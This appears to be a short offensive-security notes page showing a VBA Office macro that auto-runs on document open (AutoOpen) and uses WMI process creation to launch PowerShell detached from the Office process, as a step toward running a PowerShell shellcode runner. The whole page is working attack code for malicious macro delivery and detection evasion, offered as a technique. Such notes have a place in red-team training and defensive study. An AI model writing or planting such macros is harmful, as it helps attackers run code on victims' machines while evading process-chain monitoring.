Macro
WMI process creation to de-chain the PowerShell process.
Sub MyMacro()
strArg = "powershell"
GetObject("winmgmts:").Get("Win32_Process").Create strArg, Null, Null, pid
End Sub
Sub AutoOpen()
MyMacro
End Sub
Using the PowerShell shellcode runner


Simple Macro
Last updated